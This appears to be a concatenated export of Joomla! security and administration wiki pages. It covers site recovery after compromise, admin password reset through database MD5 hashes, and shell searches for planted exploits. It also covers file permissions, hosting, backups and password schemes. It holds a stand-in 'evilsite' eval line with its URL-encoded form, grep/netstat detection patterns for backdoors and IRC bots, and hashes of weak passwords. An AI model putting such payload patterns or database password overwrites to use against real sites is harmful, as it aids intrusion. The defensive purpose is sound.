Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table class="wikitable" border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]


<noinclude>[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]</noinclude>

Security Checklist/Where can you learn more about file permissions?

2012-10-09T00:40:43Z

Phild: added local link to windows permission primer replacing external link

* [[How do UNIX file permissions work?|Unix Permissions Primer]]
* [[Using phpSuExec]]
* [[Windows Permissions Primer]]

<noinclude>[[Category:FAQ]]
[[Category:Administration FAQ]]
[[Category:Getting Started FAQ]]
[[Category:Installation FAQ]]
[[Category:Version 1.5 FAQ]]</noinclude>

How do Windows file permissions work?

2012-10-09T00:38:51Z

Phild: initial page commit/creation

== Joomla and Windows file permissions - Explanation ==
For those of you that are either developing or delivering your Joomla! Web-Sites from the Windows environment, it is sometimes difficult to obtain relevant information regarding permissions. Unfortunately, it is a fact that most Web-Serving is offered under Unix and that Unix is pretty well documented within this environment. Hopefully the following information will go some way to clearing up any confusion and provide a little guidance.

===== Windows Web-Servers Overview =====
Firstly, lets discuss the differences between servers, in general most Windows folks appear to be using either Apache(Win32) or Microsoft IIS, these two servers operate very differently and utilize slightly different models of delivery.
Apache(Win32) generally runs on the host computer as the User that it was installed under, whereas IIS installs under a specific user but will run under a newly installed user " IUSR_ ".

===== Permission Defaults =====
By default, Unix tends to only give full access to the "owning" user to files and directories, in opposition to this approach Windows by default will also assign the Group "Everyone", Full permissions. The first thing any good Windows Administrator does is remove the rights of the "Everyone" group, to improve security. For local PC testing, this is probably not necessary, but explains why, if "Everyone" is not removed and you run some form of permissions check script or the Joomla! Pre-Installation check, on the whole you will have Full "Read, Write and Execute" permissions, because you are acquiring the rights of the "Everyone" Group.

===== Microsoft Internet Information Server (IIS) =====
IIS comes in two main flavors, PWS (Personal WebServer), and IIS (Internet Information Server). Essentially these are the same application, PWS is just a cut-down version of IIS designed for desktop environments, whereas IIS is designed for Server environments. PWS limits you to a single main site, so your application installations will generally be in sub-directories of the main site. IIS, on the other hand, provides the functionality for Virtual Hosts to be run from these directories, delivering multi-site capability.

Due to the different functionality limitations, PWS does not have the "Permissions Wizard" as it is determined to not be needed, only one user will be using the Server, but in IIS many users will be using the Server, thus differing permission assignments are needed.

Once the "Everyone" account is removed, Windows IIS is now left with the " IUSR_* " account having top-level rights to the Web-Server directories, a permissions check now should yield different results. Only the IUSR_* account has full permissions and other users should acquire either "Read Only" or no rights. Read only rights are determined by which other users have been assigned what rights to the IIS directories manually.

===== Assigning Permissions =====
Assigning permissions in Windows is reasonably straight forward, but can be a little confusing at times.
Right-Click on the appropriate folder or file, selecting "Properties" or "Sharing and Security" will enter the Windows Security Management pane. Selecting (click once) on any user name listed will display the rights that user has (in the bottom half of the pane), some rights might be "greyed" out, these are unavailable, either because the current user (you are logged in as) does not have higher enough permissions to alter them, or they are inherited from the directory above and have been set to use that higher level directories permissions (this is generally the default mechanism).

As you can see, Windows utilizes the following Permissions/Rights scheme:

{| style="border-collapse: collapse" cellpadding="2" cellspacing="0" align="center" border="1" bordercolor="#000000" height="147" width="533"
| align="left" width="5%" valign="top" | 1. 
| align="left" width="33%" valign="top" | Full Control
| align="left" width="33%" valign="top" | Allows: 1, 2, 3, 4, 5, 6, 7
|-
| align="left" width="5%" valign="top" |  2.
| align="left" width="33%" valign="top" |  Modify
| align="left" width="33%" valign="top" | Allows: 2, 3, 4, 5, 6
|-
| align="left" width="5%" valign="top" |  3.
| align="left" width="33%" valign="top" |  Read & Execute
| align="left" width="33%" valign="top" | Allows: 3, 4 
|-
| align="left" width="5%" valign="top" |  4.
| align="left" width="33%" valign="top" |  List Folder Contents
| align="left" width="33%" valign="top" | Allows: 4 (but cannot run programs) 
|-
| align="left" width="5%" valign="top" |  5.
| align="left" width="33%" valign="top" |  Read
| align="left" width="33%" valign="top" | Allows: 5 (Implies: 4) 
|-
| align="left" width="5%" valign="top" |  6.
| align="left" width="33%" valign="top" |  Write
| align="left" width="33%" valign="top" | Allows: 6 (Implies:4 ) 
|-
| align="left" width="5%" valign="top" | 7.
| align="left" width="33%" valign="top" |  Special Permissions
| align="left" width="33%" valign="top" | Allows: Combinations 
|}

===== Windows file permissions properties =====
Windows file permissions can be seen as having similar properties as UNIX or Linux file (Modes) permissions they are just represented differently. For example, you are probably used to having permissions represented as 644/666 755/777, instead of being described in the terms above. So, when you are quoted to use 644 this equates to:   The owner of this file can read and write to it.
   The owner's group can read the file. 
   Everyone else can read the file.
* Note: Windows and Unix permissions (Access Control Lists) do not equate exactly, as Windows does not use "Groups" mechanism in the same manner, but for this discussion and in regards to the Web-Hosting environment they can be summarily equated. 
Ah but,  in windows "Groups" are not used and "Everyone" should have been removed.....
So this is where Windows and Unix do not quite equate, but what can be done is to "match" or "correlate" equivalent meanings. So this outline is not really going to provide you with a Windows or an NTFS specific permissions guide but more of an understanding of how the commonly quoted numbered UNIX/Linux style permissions correlate on a machine with an NTFS file system.   
The files that are placed in the www or public_html root folder, or whatever directory your site (www.domain.com.au or localhost) points to on your hard drive should be owned by your user account, but only if that user is not what is considered as a privileged user like "Administrator" on Windows or "root" on UNIX/Linux. These accounts should not be used for everyday use. 

===== Best Practices =====
Commonly used security practices suggest that all FILES should have the following permissions.       Owner  :  Read & Write       Group   :  Read Only        Others : Read Only 
    All DIRECTORIES/FOLDERS should have the following permissions.
       Owner  : Read, Write & Execute       Group   : Read & Execute       Others : Read & Execute Arguably, this is not necessarily "optimum" security, but a balance must be struck between security, functionality and maintainability.Windows, unlike Unix, does not maintain a single ACL for "Execute", but simply provides "Read & Execute" combined, which does not imply "Write". The "Read & Execute" ACL does however also implies "List Directory Contents". Therefore, if you have only Read & Write permissions on a directory but no "Execute" you will not be able to see the contents of the directory and may also have problems when attempting you run the file through a Web-Browser. 
Unfortunately a little understanding of UNIX/Linux permissions is required to fully equate/correlate in to Windows permissions, the following "cheat-sheet" should assist; 
{| style="border-collapse: collapse" cellpadding="2" cellspacing="0" align="center" border="1" bordercolor="#000000" height="283" width="659"
| align="center" bgcolor="#cccccc" width="7%" valign="top" | Unix Mode
| bgcolor="#cccccc" width="10%" valign="top" | Windows ACL 
| bgcolor="#cccccc" width="33%" valign="top" | Comments 
|-
| align="center" width="7%" valign="top" | 7 
| width="10%" valign="top" |  Modify 
| width="33%" valign="top" | Read, Write & Execute, you should be the owner of this file 
|-
| align="center" width="7%" valign="top" | 6
| width="10%" valign="top" |  Read & Write 
| width="33%" valign="top" |  
|-
| align="center" width="7%" valign="top" | 5
| width="10%" valign="top" |  Read & Execute 
| width="33%" valign="top" | used for most applications 
|-
| align="center" width="7%" valign="top" | 4
| width="10%" valign="top" |  Read Only 
| width="33%" valign="top" | security through obscurity is not a good practice 
|-
| align="center" width="7%" valign="top" | 3
| width="10%" valign="top" |  Write & Execute 
| width="33%" valign="top" | not available through windows, unless "Special" Permissions is used, not commonly used 
|-
| align="center" width="7%" valign="top" | 2
| width="10%" valign="top" |  Write Only 
| width="33%" valign="top" | not available through windows, unless "Special" Permissions is used, not commonly used 
|-
| align="center" width="7%" valign="top" | 1
| width="10%" valign="top" |  Execute Only 
| width="33%" valign="top" | (not available through windows, unless "Special" Permissions is used, not commonly used) 
|}<div align="center"> </div>
So as a comparison example to Unix Modes, when you are quoted something like 644, you would now need to break that in to three entities:
      6  :  4  : 4
 The first number represents the "Owners" permissions, the second represents the "Group" permissions and the third, the "Other" permissions.
 
So the Windows equivalent would be something like;
  Owner (6) : Read & Write
  Group (4) : Read Only
  Others (4) : Read Only
  Hopefully, this example provides some insight in to the how to correlate Unix Modes/Permissions in to Windows Permissions/ACL's. this document does not include more complex subjects such as "effective". "Inherited" or "Special" permissions, despite Windows ease of use, Microsofts' Permissions and ACL's mechanisms are actually reasonably complex and very extensive, but this might just give you a quick reference to try and elevate some of the confusion surrounding Unix and Windows Permissions translations.

Security Checklist/Where can you learn more about file permissions?

2012-10-08T23:40:36Z

Phild: added local link to Using phpSuExec replacing external link

{{underconstruction}}

* [[How do UNIX file permissions work?|Unix Permissions Primer]]
* [[Using phpSuExec]]
* Windows Permissions Primer

<noinclude>[[Category:FAQ]]
[[Category:Administration FAQ]]
[[Category:Getting Started FAQ]]
[[Category:Installation FAQ]]
[[Category:Version 1.5 FAQ]]</noinclude>

How do phpSuExec file permissions work?

2012-10-08T23:39:06Z

Phild: initial page commit/creation

== Permissions under phpsuexec ==

'''
==== What is phpSuExec? ====
'''
On most Apache servers, PHP runs as an Apache module. This is the default method of installation. Many hosts have this setup because it is default and potentially they do not realize that it is also possible to configure PHP as a CGI. Running PHP as a CGI can be more secure whilst also avoiding file and directory ownership issues.

PHPSuExec provides the facility to have all scripts running the relevant user account instead of under the Web Servers account. This facility allows the server Administrators to isolate and manage malicious or runaway script usage very quickly, avoiding unwanted or un-authorised scripts from running for a lengthy period of time.

==== What does phpSuExec Do? ====

===== 777 Permissions =====
With non- phpSuExec configurations, PHP runs as an Apache Module it executes as the user/group of the webserver which is usually "nobody", "httpd" or "apache". Under this mode, files or directories that you require your php scripts to be able to write to need 777 permissions (read/write/execute at user/group/world level). This is not very secure because it allows the webserver to write to the file, it also allows anyone else to read or write to the file.

Under phpSuExec configurations, PHP running as a CGI with "suexec" enabled (su = switch user, allowing one user to "switch" to another if authorised) - Your php scripts now execute under your own user/group level. Files or directories that you require your php scripts to be able to write to no longer need to have 777 permissions. In fact, 777 permissions are no longer allowed, having 777 permissions on your scripts or the directories they reside in will not run and will instead cause a "500 internal server error" when attempting to execute them, this is done to protect you from someone abusing your scripts. Your scripts and directories can now, only have a maximum of 755 permissions (read/write/execute by you, read/execute by everyone else).

===== Goodbye ".htaccess" and Welcome ".ini" =====
Under the old Apache Module mode it was possible to manipulate the PHP settings from within a ".htaccess" file placed in the script's top-level directory, this was also recursively applied to all other directories below it.

For example you could turn on the php setting "magic_quotes_gpc" with this line in .htaccess:

php_value magic_quotes_gpc on

Now, when PHP is running as a CGI and phpSuExec protected, manipulating the PHP settings is still possible however you can no longer make use of a ".htaccess" file. Using .htaccess with the required PHP prefix of "php_value" will cause a "500 internal server error" when attempting to access the scripts. This is due to php no longer running as an Apache module, thus Apache is unable to handle those directives any longer.

If your host has, or is, implementing phpSuExec, ALL php values should be removed from your .htaccess files to avoid the 500 internal server error. Instead, you will now be creating and using your own "Local php.ini" file to manipulate the desired php settings.

===== What is a php.ini file? =====
The php.ini file is a configuration file that the server looks at to see what PHP options have been made available to the server or what their setting are, if different from the server's default php.ini. While the name may seem advanced to those unfamiliar with it, it is in essence a simple text file with the name php.ini

===== How to create a php.ini file =====
To create a php.ini file, just open up a text editor, add in the lines you need and save the file. You can name the file whatever you wish when saving, to ensure the correct FTP transfer mode is used, you might wish to name it "php.ini.txt". Once you have configured all your settings, upload the file to the directory where your script is located and then rename it back to php.ini

For example you can turn on the php setting "magic_quotes_gpc" with this line in php.ini:

magic_quotes_gpc = on

In many cases, you might need to have multiple copies of the same php.ini file in different directories, unlike .htaccess files, php.ini files are not applied recursively to lower directories. If you need the same functionality across all lower directries also, you will then need to copy the php.ini file each directory in turn that will have .php scripts running from within them.

===== Troubleshooting, something went wrong =====
My php script doesn't work or I have an error message.

1. Check that the php script that you are attempting to execute has permissions of no more than 755. 644 will work just fine normally, this is not something that will need to be changed in most cases.

2. Check that the directory permissions that the script resides within is set to a maximum of 755. This also includes directories that the script would need to have access to also.

3. Check that you do not have a .htaccess file with php_values within it. They will cause a 500 Internal server error, when attempting to execute the script. The php_values will need to be removed from your .htaccess file and a php.ini put in its place, containing the php directives as explained above.

===== My script requires 777 =====
So what about php scripts that say they require 777 permissions on some of their directory or files to work, such as a Joomla!, Forums, photo galleries and alike? Due to the transparent nature of phpSuExec this is solved very simply, any directories stated as requiring to be "writable" or "777" can safely be set to 755 (the maximum recommended) or 700 (the minimum that will normally work) instead. This is because, now that the web server runs under your own user account, only your own user account needs full write and execute permissions.

These rules have been applied to .cgi and .pl files historically and are now being applied php files also.

Talk:Security Checklist/Where can you learn more about file permissions?

2012-10-08T23:16:08Z

Phild: Added Release Statment

Security and Performance FAQs

2012-10-08T23:05:42Z

Phild: /* Where can I learn more about file permissions? */ added internal link replacing external link (same content)

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==
{{underconstruction}}

* [[How do UNIX file permissions work?|Unix Permissions Primer]]
* Windows Permissions Primer]
* Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

